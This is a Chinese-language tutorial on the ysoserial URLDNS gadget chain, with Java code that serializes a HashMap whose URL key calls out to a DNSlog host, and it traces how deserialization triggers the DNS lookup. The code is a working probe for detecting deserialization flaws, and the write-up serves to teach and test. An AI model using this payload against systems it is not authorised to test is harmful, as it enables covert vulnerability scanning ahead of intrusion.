Abstract
URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
但是它有以下优点:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class UrlDnsExp {
public static void main(String[] args) throws Exception{ HashMap<URL, String> obj = new HashMap<URL, String>(); String url = "http://d9hlrx.ceye.io"; URL url1 = new URL(url); Class clazz = Class.forName("java.net.URL"); Field field = null; field = clazz.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url1,-1); obj.put(url1,"qwer");
FileOutputStream fo = new FileOutputStream("ceye.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo); objectOutputStream.writeObject(obj); objectOutputStream.close(); } }
|
来看下这个Exp,利用反射去实例化一个java.net.URL
对象,并设置私有变量hashCode为-1,然后将其作为Key,字符串qwer
作为Value存入HashMap,再进行序列化,最后将数据输出在当前目录的ceye.ser
进行反序列化操作
1 2 3 4 5 6 7 8 9 10 11
| import java.io.FileInputStream; import java.io.ObjectInputStream;
public class UrlDnsRead { public static void main(String[] args) throws Exception{
FileInputStream fis = new FileInputStream("ceye.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); } }
|
运行之后,打开DNSlog查看效果
能够看到有两条访问记录,来追一下这条gadget
gadget
直接来看HashMap的ReadObject()
先是调用了原始父类的readObject(),然后在最后面存入数据的时候调用了hash()去计算key的Hash值,跟进这个方法
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
只是简简单单的调用了Key的hashCode(),我们EXP传入的Key是一个URL对象,所以来看java.net.URL#hashCode()
开头会判断hashCode是否为-1,假如不是,则直接返回,这里就是我们之前Exp提到过的。
此处的handler是URLStreamHandler对象,然后跟进hashCode()方法
这里是对传入的URL进行解析,将每部分的Hash值叠加最后返回。这里调用了一个getHastAddress()
,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress;
String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
|
关键的地方InetAddress.getByName(host);
,查看文档
public static InetAddress getByName(String host) throws UnknownHostException
确定主机名称的IP地址。
主机名称可以是机器名称,例如“ java.sun.com ”或其IP地址的文本表示。 如果提供了文字IP地址,则只会检查地址格式的有效性。
也就是进行DNS解析,来看最后的利用链,比较简单:
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
我们可以通过这条链很容易判断是否存在反序列化漏洞